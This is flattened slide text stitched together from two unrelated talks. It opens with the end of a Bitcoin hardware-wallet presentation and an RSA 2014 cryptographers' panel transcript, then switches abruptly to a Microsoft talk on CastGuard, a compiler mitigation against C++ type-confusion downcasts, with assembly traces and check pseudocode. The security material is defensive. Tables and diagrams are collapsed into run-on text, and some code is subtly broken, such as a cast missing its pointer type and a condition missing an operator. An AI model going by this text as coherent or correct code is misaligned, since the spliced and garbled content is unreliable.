Address Transactions Log 64 Hardware Wallet Private Key Crypto Engine A Demo of a Smartcard Wallet Demo Environment Hardware Features • Common Criteria EAL 5+ • ARM Secure Core SC300TM • Secure Flash (Active Shield) • TRNG • Coprocessor for ECDSA • Unique ID Firmware Features • On card transaction signing • On card ECDSA/AES/SHA256 • 1000+ Bitcoin address and private key pairs • Host binding • User PIN (optional PUK) • Wallet management 66 Recap • Bitcoin economy is boosting • Bitcoin is essentially a cryptographic protocol, which is brilliant and beautiful • Watch out various aspects of Bitcoin security • Bitcoin private keys are so crucial that must be protected with extreme care • Offline Bitcoin hardware wallets integrated with mobile devices seem to be one of the future trends 67 Bitcoin Rocks! Appendix. The Script about Bitcoin from Cryptographers’ Panel, RSA Conference 2014 https://www.youtube.com/watch?v=gMc9fHvc78Y *Kocher* {31:57}: As you speak about decentralized systems and splitting trust, that brings up the topic in Bitcoin, which has been getting a lot of attention recently. It’s been called everything from a dangerous technology that should be banned, to the currency in the future, to a great investment, to a bubble. Do you use it? What’s your thought about it? Where do you think crypto-currencies will sit in the future? *Rivest*: I don’t use it. It’s a fun research topic. *Shamir* {32:21}: I think that it is an example of a project which had a lot of potential, but almost everything that could go wrong with it did. Let’s look at some of the aspects. It was supposed to be a decentralized system, which no one would be in control of. It turns out that there were a few organizations which, a few exchanges which dominated the market. Almost nobody can mine Bitcoins at the moment. So if you want to make any money out of the mining operation, you have to buy these very very expensive ASICs. And therefore again, it’s highly centralized. Almost everything is highly centralized. If you think about how many cases are reported, in which Bitcoins are stolen from computers – from electronic wallets kept in your computer – it shows that the currency on the Internet cannot be kept on the Internet, which I find very ironic. 69 *Diffie* {33:33}: I thought indeed in its original vision as a totally decentralized thing, that was tremendously exciting. I mean we’ve been trying, we’ve been chasing, some people particularly chasing the will of the wisp of electronic, decentralized, anonymous, this, that, and the other electronic banking; now for about three decades. So this struck me as a big leap forward in that direction. And Bitcoin is now just one, you know, it needn't be perfect as a design, there are related designs that attempt to debug it. The kind of centralization you’re talking about is very hard to eliminate in anything. Biology does fairly well. But if you go one level deeper, you find the heavy elements manufactured in supernovas, which are expensive, right? So whether you can build, a competitive society, whatever, that doesn’t have centralized resources; whether that can out-compete one that does, I think it is very far from clear. *LaMacchia* {34:36}: So first I don’t use Bitcoin currently. I played around a little bit just to try mining early on, didn’t really find anything. And I will admit that when the coin – when it got above a thousand dollars a Bitcoin, I did the digital equivalent of hunting around in the cushions of your couch, looking to see if I had managed to leave any little digital coins around. Cause it would have been interesting though I didn't have anything left on disk. But what I find most interesting is the amount of computing power that’s going into it. So I did a quick check last night. You go to blockchain.org [blockchain.info actually] which publishes all the stats on the Bitcoin blocks. And currently the Bitcoin mining network is generating about 29 million giga-hashes per second. That’s about 2 to the 55 [255] hashes, SHA-2 hashes, per second is going into this effort. *Diffie*: […] reading someone's DES traffic. 70 *LaMacchia*: Well that’s the point. If you have that much of compute power that's been specialized you can basically apply it to a DES key in a second or two. Or finding SHA-1 collisions if the theoretical bounds under 2 to 64 [264] are correct, could do it in under an hour of time. So there is a lot of compute power that’s being thrown into this. *Rivest* {35:46}: So we're getting security because those resources are not being devoted towards breaking these cryptosystems, but they're off doing Bitcoin things. Right? […] *LaMacchia*: Something like a honey-pot. *Shamir*: I’m actually surprised that the green movement is not trying to intervene, because so much electricity is being lost making their Bitcoins that somebody should do it. *Rivest* {36:07}: That‘s a great technical question as how do you implement something like the Bitcoin public ledger in a way that doesn’t waste all this electricity. I‘d love to see a good solution to that. Following up on that just a little bit if I may: I think there’s a convergence of interest here between Bitcoin and some other applications. In Bitcoin you‘ve got this distributed public ledger basically where you can append records at the end of that. That abstraction is one that we see in other applications as well. The certificate transparency project by Google has the same abstraction needed. And also a lot of electronic voting applications need a public ledger where you can append only and so on to. So I think we’re seeing an identification of a common abstraction we need to have well implemented. I think the Bitcoin implementation is wasteful for electricity. If we can solve that problem of doing what‘s done there without the electricity waste, we may have a home-run. {36:59} Recorders: 林樂寬 (Niklas Lemcke), 童御修 71
pdf
CastGuard Joe Bialek – Microsoft Offensive Research & Security Engineering (MORSE) Twitter: @JosephBialek Problem Space Killing Bugs vs. Killing Exploit Techniques Mitigating exploit techniques has ambiguous long-term value. Mitigations are typically far enough away from actual bug that bugs are still exploitable using different techniques. Tradeoffs between performance, compatibility, and mitigation durability are becoming increasingly difficult. Unclear how many more practical opportunities there are for building meaningful exploit mitigations. Killing Bugs vs. Killing Exploit Techniques Microsoft increasingly focused on eliminating vulnerability classes, removing attack surface, and sandboxing code. Hyper-V vPCI component refactored from a C kernel component to C++ (w/ GSL) user component. Microsoft investigation of Rust and other safer systems languages, and use of managed languages. CLFS blocked from sandboxes, Redirection Guard, etc. Path Forward for C/C++ Code Four high-level bug classes responsible for majority of memory safety vulnerabilities. Buffer Overflow & Out-of-Bounds Accesses (i.e. attacker controls array index) Uninitialized Memory Type Confusion Use-After-Free Path Forward for C/C++ Code Four high-level bug classes responsible for majority of memory safety vulnerabilities. Buffer overflow / out-of-bounds accesses (spatial safety) Uninitialized memory Type confusion Use-after-free Memory Tagging? / CHERI? InitAll / Zeroing Allocators Memory Tagging? / CHERI? / Application Specific Solutions (MemGC) ??? Not necessarily things Microsoft is committed to using, just illustrating solution space. Type Confusion Come in many flavors.. Illegal static downcast (down-casting to the wrong derived type in a class hierarchy). Improper union use. Illegal reinterpret_cast (i.e. cast an object of some type to totally different type). Generic logic issues (i.e. using fields incorrectly). Offer extremely powerful primitives to attackers and can often lead to breaking mitigations such as Memory Tagging. Many forms of type confusion are not possible to generically solve . Illegal Static Downcasts struct Animal { virtual void WhoAmI() {cout << “Animal”;} }; struct Dog : public Animal { virtual void WhoAmI() {cout << “Dog”;} }; struct Cat : public Animal { virtual void WhoAmI() {cout << “Cat”;} }; Animal* myAnimal = new Dog(); static_cast<Cat>(myAnimal)->WhoAmI(); // Illegal down-cast dynamic_cast? Code creating the object and code casting object must enable Runtime Type Information (RTTI). Makes it difficult to automatically convert existing static_cast’s to dynamic_cast. Need to control all code to ensure RTTI settings are uniform. We cannot enforce this (3rd party DLL’s, etc.). RTTI causes binary size bloat (may be possible to optimize). Windows.UI.Xaml.Controls.dll grows 86.5% from RTTI (no dynamic_cast). dynamic_cast checks have overhead (may be possible to optimize). 00007ff7`56771472 c744242000000000 mov dword ptr [rsp+20h], 0 ss:0000001f`baeff890=567bf330 00007ff7`5677147a 4c8d0ddf070600 lea r9, [test3!MyChild1 `RTTI Type Descriptor' (00007ff7`567d1c60)]​ 00007ff7`56771481 4c8d0590080600 lea r8, [test3!MyBase `RTTI Type Descriptor' (00007ff7`567d1d18)]​ 00007ff7`56771488 33d2 xor edx, edx 00007ff7`5677148a 488bcb mov rcx, rbx 00007ff7`5677148d e81ec10400 call test3!__RTDynamicCast (00007ff7`567bd5b0)​ test3!__RTDynamicCast:​ 00007ff7`567bd5b0 48895c2410 mov qword ptr [rsp+10h], rbx ss:0000001f`baeff878=0000000000000001​ 00007ff7`567bd5b5 4889742418 mov qword ptr [rsp+18h], rsi 00007ff7`567bd5ba 57 push rdi 00007ff7`567bd5bb 4154 push r12​ 00007ff7`567bd5bd 4155 push r13​ 00007ff7`567bd5bf 4156 push r14​ 00007ff7`567bd5c1 4157 push r15​ 00007ff7`567bd5c3 4883ec50 sub rsp, 50h​ 00007ff7`567bd5c7 4d8bf9 mov r15, r9​ 00007ff7`567bd5ca 4d8be0 mov r12, r8​ 00007ff7`567bd5cd 4c63ea movsxd r13, edx 00007ff7`567bd5d0 488bf9 mov rdi, rcx 00007ff7`567bd5d3 33db xor ebx, ebx 00007ff7`567bd5d5 4885c9 test rcx, rcx 00007ff7`567bd5d8 751c jne test3!__RTDynamicCast+0x46 (00007ff7`567bd5f6) <-- take this jump​ 00007ff7`567bd5f6 488b01 mov rax, qword ptr [rcx] ds:000001a4`f0889610={test3!MyChild1::`vftable' (00007ff7`567c9270)}​ 00007ff7`567bd5f9 488b70f8 mov rsi, qword ptr [rax-8]​ 00007ff7`567bd5fd 8b4604 mov eax, dword ptr [rsi+4]​ 00007ff7`567bd600 4c8bf7 mov r14, rdi 00007ff7`567bd603 4c2bf0 sub r14, rax 00007ff7`567bd606 8b5608 mov edx, dword ptr [rsi+8]​ 00007ff7`567bd609 482bca sub rcx, rdx 00007ff7`567bd60c f7da neg edx 00007ff7`567bd60e 1bc0 sbb eax, eax 00007ff7`567bd610 2301 and eax, dword ptr [rcx]​ 00007ff7`567bd612 4863c8 movsxd rcx, eax 00007ff7`567bd615 4c2bf1 sub r14, rcx 00007ff7`567bd618 391e cmp dword ptr [rsi], ebx <-- take this jump​ 00007ff7`567bd63a 48634614 movsxd rax, dword ptr [rsi+14h] ds:00007ff7`567c9b8c=00059b78​ 00007ff7`567bd63e 4c8bce mov r9, rsi 00007ff7`567bd641 4c2bc8 sub r9, rax 00007ff7`567bd644 48634610 movsxd rax, dword ptr [rsi+10h]​ 00007ff7`567bd648 428b4c0804 mov ecx, dword ptr [rax+r9+4]​ 00007ff7`567bd64d f6c101 test cl, 1​ 00007ff7`567bd650 7510 jne test3!__RTDynamicCast+0xb2 (00007ff7`567bd662) <-- do not take this jump​ 00007ff7`567bd652 4d8bc7 mov r8, r15​ 00007ff7`567bd655 498bd4 mov rdx, r12​ 00007ff7`567bd658 488bce mov rcx, rsi 00007ff7`567bd65b e8bcfaffff call test3!FindSITargetTypeInstance (00007ff7`567bd11c) <-- call instruction​ test3!FindSITargetTypeInstance:​ 00007ff7`567bd11c 488bc4 mov rax, rsp 00007ff7`567bd11f 48895808 mov qword ptr [rax+8], rbx 00007ff7`567bd123 48896810 mov qword ptr [rax+10h], rbp 00007ff7`567bd127 48897018 mov qword ptr [rax+18h], rsi 00007ff7`567bd12b 48897820 mov qword ptr [rax+20h], rdi 00007ff7`567bd12f 4156 push r14​ 00007ff7`567bd131 48634110 movsxd rax, dword ptr [rcx+10h]​ 00007ff7`567bd135 498bd8 mov rbx, r8​ 00007ff7`567bd138 33c9 xor ecx, ecx 00007ff7`567bd13a 4c8bf2 mov r14, rdx 00007ff7`567bd13d 4e635c080c movsxd r11, dword ptr [rax+r9+0Ch]​ 00007ff7`567bd142 468b540808 mov r10d, dword ptr [rax+r9+8]​ 00007ff7`567bd147 4d03d9 add r11, r9​ 00007ff7`567bd14a 4585d2 test r10d, r10d​ 00007ff7`567bd14d 741f je test3!FindSITargetTypeInstance+0x52 (00007ff7`567bd16e) [br=0]​ 00007ff7`567bd14f 4d8bc3 mov r8, r11​ 00007ff7`567bd152 496310 movsxd rdx, dword ptr [r8]​ 00007ff7`567bd155 4903d1 add rdx, r9​ 00007ff7`567bd158 ffc1 inc ecx 00007ff7`567bd15a 486302 movsxd rax, dword ptr [rdx]​ 00007ff7`567bd15d 4903c1 add rax, r9​ 00007ff7`567bd160 483bc3 cmp rax, rbx 00007ff7`567bd163 7467 je test3!FindSITargetTypeInstance+0xb0 (00007ff7`567bd1cc) [br=1] <-- take this 00007ff7`567bd1cc 413bca cmp ecx, r10d​ 00007ff7`567bd1cf 73e2 jae test3!FindSITargetTypeInstance+0x97 (00007ff7`567bd1b3) [br=0]​ 00007ff7`567bd1d1 4d8d048b lea r8, [r11+rcx*4]​ 00007ff7`567bd1d5 496300 movsxd rax, dword ptr [r8]​ 00007ff7`567bd1d8 42f644081404 test byte ptr [rax+r9+14h], 4​ 00007ff7`567bd1de 75d3 jne test3!FindSITargetTypeInstance+0x97 (00007ff7`567bd1b3) [br=0]​ 00007ff7`567bd1e0 4a630408 movsxd rax, dword ptr [rax+r9]​ 00007ff7`567bd1e4 4903c1 add rax, r9​ 00007ff7`567bd1e7 493bc6 cmp rax, r14​ 00007ff7`567bd1ea 740d je test3!FindSITargetTypeInstance+0xdd (00007ff7`567bd1f9) [br=1]​ 00007ff7`567bd1f9 488bc2 mov rax, rdx 00007ff7`567bd1fc ebb7 jmp test3!FindSITargetTypeInstance+0x99 (00007ff7`567bd1b5) <-- jump 00007ff7`567bd1b5 488b5c2410 mov rbx, qword ptr [rsp+10h] ss:0000001f`baeff7f0=0000000000000000​ 00007ff7`567bd1ba 488b6c2418 mov rbp, qword ptr [rsp+18h]​ 00007ff7`567bd1bf 488b742420 mov rsi, qword ptr [rsp+20h]​ 00007ff7`567bd1c4 488b7c2428 mov rdi, qword ptr [rsp+28h]​ 00007ff7`567bd1c9 415e pop r14​ 00007ff7`567bd1cb c3 ret ; back to test3!__RTDynamicCast​ 00007ff7`567bd660 eb2d jmp test3!__RTDynamicCast+0xdf (00007ff7`567bd68f) <-- jump 00007ff7`567bd68f 4c8bc8 mov r9, rax 00007ff7`567bd692 4885c0 test rax, rax 00007ff7`567bd695 7510 jne test3!__RTDynamicCast+0xf7 (00007ff7`567bd6a7) <-- take this jump​ 00007ff7`567bd6a7 4139590c cmp dword ptr [r9+0Ch], ebx 00007ff7`567bd6ab 7c13 jl test3!__RTDynamicCast+0x110 (00007ff7`567bd6c0) [br=1] <-- take this jump​ 00007ff7`567bd6c0 49634108 movsxd rax, dword ptr [r9+8] ds:00007ff7`567c9bd0=00000000​ 00007ff7`567bd6c4 4803c3 add rax, rbx 00007ff7`567bd6c7 4903c6 add rax, r14​ 00007ff7`567bd6ca e90dffffff jmp test3!__RTDynamicCast+0x2c (00007ff7`567bd5dc) <-- jump​ 00007ff7`567bd5dc 4c8d5c2450 lea r11, [rsp+50h]​ 00007ff7`567bd5e1 498b5b38 mov rbx, qword ptr [r11+38h]​ 00007ff7`567bd5e5 498b7340 mov rsi, qword ptr [r11+40h]​ 00007ff7`567bd5e9 498be3 mov rsp, r11​ 00007ff7`567bd5ec 415f pop r15​ 00007ff7`567bd5ee 415e pop r14​ 00007ff7`567bd5f0 415d pop r13​ 00007ff7`567bd5f2 415c pop r12​ 00007ff7`567bd5f4 5f pop rdi 00007ff7`567bd5f5 c3 ret ; dynamic cast check over!​ Stores: 12 Loads: 30 Jumps: 12 Calls: 2 Code executed in the success path of a dynamic_cast down-cast in a single-inheritance class hierarchy CastGuard Inspired by Clang’s -fsanitize=cfi-derived-cast Concept To protect against illegal downcast, object needs a type identified that can be checked. We cannot change object layout or we break the world. Objects with a vftable already have an identifier, the vftable. Automatically convert all static_cast on classes with vftables in to CastGuard protected casts. Terminology LHS Type: Left-hand side type being cast to (Cat*). RHS Type: The statically declared right-hand side type (Animal*). Underlying Type: The actual type of the RHS object (unknown at compile time). void Foo (Animal* animal) { static_cast<Cat*>(animal); } Threat Model / Requirements Code must be compiled using Link Time Code Generation (LTCG). Code creating the object in the same LTCG module as code casting the object. LHS type and RHS type have at least 1 vftable. Object is valid (i.e. if RHS type is Animal*, it is a valid Animal*). If some other component already illegally casted the object, we will not provide protection. First-order memory safety vulnerability is the type confusion (i.e. attacker doesn’t already have memory corruption). Single Inheritance Example What The Compiler Knows This is a static downcast from Animal* to Cat*. The offset into Cat* and Animal* that the vftable pointer is located. The location (RVA into binary) of the vftables for every type in this hierarchy (i.e. where the vftables are laid out in the binary). void Foo (Animal* animal) { static_cast<Cat*>(animal); } Object Layout B C D E F G H A “B” members “C” members “B” members “D” members “B” members “A” members Object B layout Object C layout Object D layout “A” members “A” members “B” vftable “C” vftable “D” vftable Vfuncs defined by A “A” members Object A layout “A” vftable Vfuncs defined by A Vfuncs defined by B Vfuncs defined by A Vfuncs defined by B Vfuncs defined by C Derived types begin with their base types layout and append their own member variables after the base type. The Vftable View of the World B::$vftable@ C::$vftable@ D::$vftable@ E::$vftable@ F::$vftable@ G::$vftable@ H::$vftable@ A::$vftable@ B C D E F G H A It is helpful to think about class hierarchies in terms of the vftables as that is the unique identifier A::$vftable@ B::$vftable@ C::$vftable@ E::$vftable@ F::$vftable@ D::$vftable@ G::$vftable@ H::$vftable@ A ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ B ✓ ✓ ✓ ✓ ✓ ✓ ✓ C ✓ ✓ ✓ D ✓ ✓ ✓ E ✓ F ✓ G ✓ H ✓ LHS Type (Type Being Cast To) Legal Underlying Vftables B::$vftable@ C::$vftable@ D::$vftable@ E::$vftable@ F::$vftable@ G::$vftable@ H::$vftable@ A::$vftable@ This table shows the vftables are that legal for a pointer of some specific type to have For example, if you cast to an “E” the only legal vftable would be E::$vftable@ Naïve Check (To Understand Concepts) User Code: void MyFunction (B* b) { static_cast<C*>(b); } Compiler Inserts: // Ensure the vftable is one of the legal // vftables, if not, fast-fail if (b != NULL) { if (b->vftable != C::$vftable@ && b->vftable != E::$vftable@ && b->vftable != F::$vftable@) { fast-fail } } static_cast on a NULL pointer is always allowed. Naïve Check (To Understand Concepts) void MyFunction (B* b) { static_cast<C*>(b); } Compiler Inserts CodeGen: // Ensure the vftable is one of the legal // vftables, if not, fast-fail if (b != NULL) { if (b->vftable != C::$vftable@ && b->vftable != E::$vftable@ && b->vftable != F::$vftable@) { fast-fail } } This check would scale terribly with large amounts of vftables Optimization Step 1: Lay Out Vftables Together in Binary Offset Name 0x00 __CastGuardVftableStart 0x08 A::$vftable@ 0x10 B::$vftable@ 0x18 C::$vftable@ 0x20 D::$vftable@ 0x28 E::$vftable@ 0x30 F::$vftable@ 0x38 G::$vftable@ 0x40 H::$vftable@ 0x48 __CastGuardVftableEnd To make the example simple, assume 64-bit architecture, each vftable has a single virtual function, and no RTTI information. Total size per vftable is 8 bytes. We’ll talk about the global variables __CastGuardVftableStart and __CastGuardVftableEnd later. Vftables CastGuard cares about are laid out in their own contiguous region. CastGuard Vftable Region Optimization Step 2: Create Bitmaps Create a bitmap per LHS Type being cast to which indicates which vftables are legal for that cast A::$vftable@ B::$vftable@ C::$vftable@ E::$vftable@ F::$vftable@ D::$vftable@ G::$vftable@ H::$vftable@ A ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ B ✓ ✓ ✓ ✓ ✓ ✓ ✓ C ✓ ✓ ✓ D ✓ ✓ ✓ E ✓ F ✓ G ✓ H ✓ LHS Type (Type Being Cast To) Legal Underlying Vftables Offset Name 0x00 __CastGuardVftableStart 0x08 A::$vftable@ 0x10 B::$vftable@ 0x18 C::$vftable@ 0x20 D::$vftable@ 0x28 E::$vftable@ 0x30 F::$vftable@ 0x38 G::$vftable@ 0x40 H::$vftable@ 0x48 __CastGuardVftableEnd Offset Name 0x00 __CastGuardVftableStart 0x08 A::$vftable@ 0x10 B::$vftable@ 0x18 C::$vftable@ 0x20 D::$vftable@ 0x28 E::$vftable@ 0x30 F::$vftable@ 0x38 G::$vftable@ 0x40 H::$vftable@ 0x48 __CastGuardVftableEnd How to Create Bitmap: Each type being downcast to gets its own bitmap (i.e. B, C, D, etc.). For each bitmap: 1. Choose a “base vftable”. This is the vftable you will compare the underlying types vftable against. It should be the first vftable (lowest RVA) in the binary that is legal for the cast. 2. Compute the offset between this vftable and all other vftables that are legal for the cast. 3. Each legal vftable is “1” in the bitmap. Illegal vftables are “0”. Optimization Step 2: Create Bitmaps Offset from C::$vftable@ 0x0 0x8 0x10 0x18 C_Bitmap 1 0 1 1 Offset Name 0x00 __CastGuardVftableStart 0x08 A::$vftable@ 0x10 B::$vftable@ 0x18 C::$vftable@ 0x20 D::$vftable@ 0x28 E::$vftable@ 0x30 F::$vftable@ 0x38 G::$vftable@ 0x40 H::$vftable@ 0x48 __CastGuardVftableEnd How To Use Bitmap: delta = Object->Vftable – C::$vftable@ ordinal = delta ROR 3 // shift out low 3 bits C_Bitmap[ordinal] == 1 if cast allowed Optimization Step 2: Create Bitmaps For cast to “C”, “base vftable” is C::$vftable@ 0x0 0x8 0x10 0x18 0x20 0x28 0x30 0x38 B_Bitmap 1 1 1 1 1 1 1 C_Bitmap 1 0 1 1 D_Bitmap 1 0 0 1 1 E_Bitmap 1 F_Bitmap 1 G_Bitmap 1 H_Bitmap 1 Bitmap for LHS Type Offset Name 0x00 __CastGuardVftableStart 0x08 A::$vftable@ 0x10 B::$vftable@ 0x18 C::$vftable@ 0x20 D::$vftable@ 0x28 E::$vftable@ 0x30 F::$vftable@ 0x38 G::$vftable@ 0x40 H::$vftable@ 0x48 __CastGuardVftableEnd Only create bitmap for types that are down-cast to. Minimizes binary size. Bitmap alignment can change to reduce binary size. This example uses 8-byte alignment (the minimum on 64-bit) but we may increase the alignment of vftables to reduce the size of the bitmap. Optimization Step 2: Create Bitmaps Offset of underlying type vftable from “base vftable” Better Check void MyFunction (B* b) { static_cast<C*>(b); } Compiler Inserts CodeGen: if (b != null) { // read the vftable from the object uint64 ptr = b->vftable; // get offset from the first valid vftable for this cast uint64 delta = ptr - &C::$vftable@ // vftables are 8 byte aligned // if any low 3 bits are set, ROR will shift them to high bits uint64 ordinal = delta ROR 3; // test the bitmap to see if this is valid if (ordinal >= sizeof_in_bits(C_Bitmap)) !bittest(C_Bitmap, ordinal)) { fast-fail } } More Optimization  With a few realizations, we can do much better than this.  Bitmaps are not ideal because:  It takes a memory load to consult them.  They take up space in the binary. Order the Vftables Depth First Offset Name 0x00 __CastGuardVftableStart 0x08 A::$vftable@ 0x10 B::$vftable@ 0x18 C::$vftable@ 0x20 E::$vftable@ 0x28 F::$vftable@ 0x30 D::$vftable@ 0x38 G::$vftable@ 0x40 H::$vftable@ 0x48 __CastGuardVftableEnd B::$vftable@ C::$vftable@ D::$vftable@ E::$vftable@ F::$vftable@ G::$vftable@ H::$vftable@ A::$vftable@ CastGuard Vftable Region Create Bitmaps Offset Name 0x00 __CastGuardVftableStart 0x08 A::$vftable@ 0x10 B::$vftable@ 0x18 C::$vftable@ 0x20 E::$vftable@ 0x28 F::$vftable@ 0x30 D::$vftable@ 0x38 G::$vftable@ 0x40 H::$vftable@ 0x48 __CastGuardVftableEnd Property: When ordered with a DFS, legal vftables are always laid out contiguously (thus you never see 0’s in the bitmap) 0x0 0x8 0x10 0x18 0x20 0x28 0x30 0x38 B_Bitmap 1 1 1 1 1 1 1 C_Bitmap 1 1 1 D_Bitmap 1 1 1 E_Bitmap 1 F_Bitmap 1 G_Bitmap 1 H_Bitmap 1 Bitmap for LHS Type Offset of underlying type vftable from LHS Type vftable Range Check Offset Name 0x00 __CastGuardVftableStart 0x08 A::$vftable@ 0x10 B::$vftable@ 0x18 C::$vftable@ 0x20 E::$vftable@ 0x28 F::$vftable@ 0x30 D::$vftable@ 0x38 G::$vftable@ 0x40 H::$vftable@ 0x48 __CastGuardVftableEnd • If bitmap is all ones, no need to check the bitmap. As long as the ordinal is in bounds of the bitmap you succeed. • Taking it further: Rather than shifting the pointer to calculate the ordinal, just do a range check. If vftable base address is within 0x10 bytes of C::$vftable&, this object is a valid “C” Range Check void MyFunction (B* b) { static_cast<C*>(b); } Compiler Inserts CodeGen: if (b != null) { // read the vftable from the object uint64 ptr = b->vftable; // get offset from the first valid vftable for this cast uint64 offset = ptr - &C::’vftable’ // can be C, E, or F // vftable expected to be 0x0, 0x8, or 0x10 bytes // offset from C::$vftable@ if (offset > 0x10) { fast-fail } } Concerns? What if the vftable is offset 0x9? That would pass the check but is illegal! Not a concern due to threat model, there is no way a legitimate object could be created with that vftable pointer. We are assuming the first order vulnerability is this static_cast so the object must be well formed. Compiler Inserts CodeGen: if (b != null) { // read the vftable from the object uint64 ptr = b->vftable; // get offset from the first valid vftable for this cast uint64 offset = ptr - &C::’vftable’ // can be C, E, or F // vftable expected to be 0x0, 0x8, or 0x10 bytes // offset from C::$vftable@ if (offset > 0x10) { fast-fail } } Compatibility What if the object was created in a different DLL? The LTCG compiler pass will not know about these vftables. The cast might be legitimate but because the vftable comes from a different DLL it isn’t laid out where CastGuard expects. What if the object was created in a static library? Mostly similar concern, with caveats. See appendix for more details. Modified Check for Compatibility … if (ptr != null) { // get offset from the first valid vftable for // this cast uint64 offset = ptr - &C::$vftable@ // can be C, E, or F // vftable expected to be 0x0, 0x8, or 0x10 bytes // offset from C::$vftable@ if (offset > 0x10 && ptr > __CastGuardVftableStart && ptr < __CastGuardVftableEnd) { fast-fail } } Only fast-fail if the underlying vftable is being tracked by CastGuard, otherwise “fail open” for compatibility AMD64 Assembly ; rcx == The right-hand side object pointer. ; First do the nullptr check. This could be optimized away but is not today. ; N.B. If the static_cast has to adjust the pointer base, this nullptr check ; already exists. 4885c9 test rcx, rcx 7416 je codegentest!DoCast+0x26 ; Next load the RHS vftable and the comparison vftable. 488b11 mov rdx, qword ptr [rcx] 4c8d05ce8f0500 lea r8, [codegentest!C::`vftable'] ; Now do the range check. Jump to the AppCompat check if the range check fails. 492bc0 sub rdx, r8 4883f820 cmp rdx, 20h 7715 ja codegentest!DoCast+0x3b ; Jump to app-compat check Multiple Inheritance Multiple Inheritance Example B C D E F G H A Z Vftable View B::$vftable@ C::$vftable@ D::$vftable@ E::$vftable@ F::$vftable@ G::$vftable@ H::$vftable@ A::$vftable@ B::$vftable@Z C::$vftable@Z D::$vftable@Z E::$vftable@Z F::$vftable@Z G::$vftable@Z H::$vftable@Z Z::$vftable@ Object Layout B C D E F G H A “Z” members Object Z layout Object B layout Object C layout “A” members Z::$vftable@ B::$vftable@ Vfuncs defined by A “A” members Object A layout A::$vftable@ Vfuncs defined by Z Vfuncs defined by A Vfuncs defined by B Z “Z” members B::$vftable@Z “B” members “A” members C::$vftable@ “Z” members C::$vftable@Z “B” members “C” members Vfuncs defined by Z Which Vftable to Use Depends on what the current RHS type is. If RHS == “A”, need to use vftable that “A” introduced. If RHS == “Z”, need to use vftable that “Z” introduced. Otherwise, can use either. Prefer the vftable that is closest to the base address of the object to reduce code size. If vftable is at offset 0 in object, the “this” pointer doesn’t need to be adjusted. Notes Once you realize there are multiple vftable hierarchies, multiple inheritance becomes identical to single inheritance. Choose the vftable hierarchy to do checks against based on the RHS type. Lay out vftable hierarchy using depth-first layout. Do a simple range check on the vftable. Virtual Base Hierarchies Virtual Base See appendix for full information (not enough time). A nasty and rarely used C++ feature that allows “more efficiently” doing multiple inheritance when both parent classes inherit from the same base class. Can make range checks impossible for a vftable hierarchy, need to use bitmap checks. Interesting Notes Misc. Identical Comdat Folding (ICF) must be disabled for vftables in the “CastGuard region”. ICF will eliminate duplicate copies of data (i.e. vftables that are identical) but CastGuard requires all vftables are unique since they are used as identifiers. OptRef (remove unreferenced symbols) linker optimization also disabled for CastGuard vftables. If the linker deletes an unreferenced vftable in the CastGuard region, it changes the layout of the region but we already generated code based on the expected layout. Luckily LTCG does a pretty good job up-front at determining if a symbol is unreferenced and we won’t lay out the symbol in the first place. Curiously Recurring Template Pattern (CRTP) struct A { A::A(){} virtual void Entry() { return; } }; template <class T> struct B : A { virtual void Entry() { static_cast<T*>(this)->WhoAmI(); } void DoStuff() { DoOtherStuff(static_cast<T*>(this)); } }; struct C : B<C> { void WhoAmI() { PrintWhoIAm(); } static void PrintWhoIAm() { printf(“C"); } }; struct D : B<D> { void WhoAmI() { PrintWhoIAm(); } static void PrintWhoIAm() { printf(“D"); } }; Derived type specifies itself as a templated parameter when inheriting from “B” class. An object of type “B” is never created. Only derived types are created. Because “B” is specialized based on the type inheriting from it, any given “B” type (such as B<C>) only has a single derived type. A B<C> C D B<D> A::$vftable@ B<C>::$vftable@ C::$vftable@ D::$vftable@ B<D>::$vftable@ Class Hierarchy Vftable Hierarchy Each specialized version of “B” is its own unique class and has a unique vftable. struct D : B<D> { void WhoAmI() { PrintWhoIAm(); } static void PrintWhoIAm() { printf(“D"); } }; template <class T> struct B : A { virtual void Entry() { static_cast<T*>(this)->WhoAmI(); } void DoStuff() { DoOtherStuff(static_cast<T*>(this)); } }; struct A { A::A(){} virtual void Entry() { return; } }; Vftable for C & B<C>, D & B<D> are identical. Linker will de-duplicate. “DoStuff” for B<C> and B<D> are identical. Linker will de-duplicate them. CastGuard checks make “DoStuff” implementations different (type specific cast checks) and reference vftables so they can no longer be de-duplicated. Some WinRT binaries got ~20% bigger. struct C : B<C> { void WhoAmI() { PrintWhoIAm(); } static void PrintWhoIAm() { printf(“C"); } }; A B<C> C D B<D> A::$vftable@ B<C>::$vftable@ C::$vftable@ D::$vftable@ B<D>::$vftable@ Class Hierarchy Vftable Hierarchy These types are never created, so a valid object will NEVER have their vftables. No reason to include these vftables in checks since an object can never have them. A B<C> C D B<D> A::$vftable@ B<C>::$vftable@ C::$vftable@ D::$vftable@ B<D>::$vftable@ Class Hierarchy Vftable Hierarchy The only vftable a “B<C>*” pointer could have is “C::$vftable@” which is legal when casting to “C”, no point in doing a cast check. void Demo(B<C>* MyPtr) { static_cast<C*>(MyPtr); } A “B<C>*” either points to a “B<C>” or a “C”. We know “B<C>” was never created, must be “C”. Optimizing for CRTP Optimization can also help non-CRTP related casts. We were able to statically prove away EVERY cast check in Windows.UI.Xaml.Controls.dll, going from 20% binary size regression to 0%. Similar CRTP optimization issues exist for other technologies. XFG (Extended Flow Guard) – Caused a 43% binary size regression on “Windows.UI.Xaml.Controls.dll” due to fine-grain indirect call signature checks. We got this fixed by making function signature ignore template specializations. Clang CFI – Breaks CRTP code sharing due to fine-grain indirect call signature checks and cast checks (when derived-cast checks enabled). Likely a similar regression to CastGuard and XFG. Performance Near-zero runtime overhead  Spec 2006 showed no regression.  No overhead detected in Windows components. Binary size impact under 1%  Components without downcasting have no overhead.  CRTP optimization can statically prove safety of many casts. Future Possibilities Strict Mode  Mark hierarchies as “strict” indicating they should never have an app compat check, all failures are fatal.  Could force full bitmap checks (defend against type confusions caused by memory corruption). Acceleration for dynamic_cast  Dynamic_cast hot path uses CastGuard style check, only does the full check in the app compat check path. Just ideas – nothing committed. Conclusion It is possible to provide performant cast checks to prevent certain types of type confusion. May even be possible to use CastGuard tech in the hot-path of dynamic_cast. CastGuard is flighting in Hyper-V code in Windows Insider Preview builds. Additional Windows components will use CastGuard in the future. Acknowledgements CastGuard would not be possible without:  Inspiration from Clang/LLVM –fsanitize=cfi-derived- cast.  Many folks across Windows, Visual Studio, and MSRC. Appendix 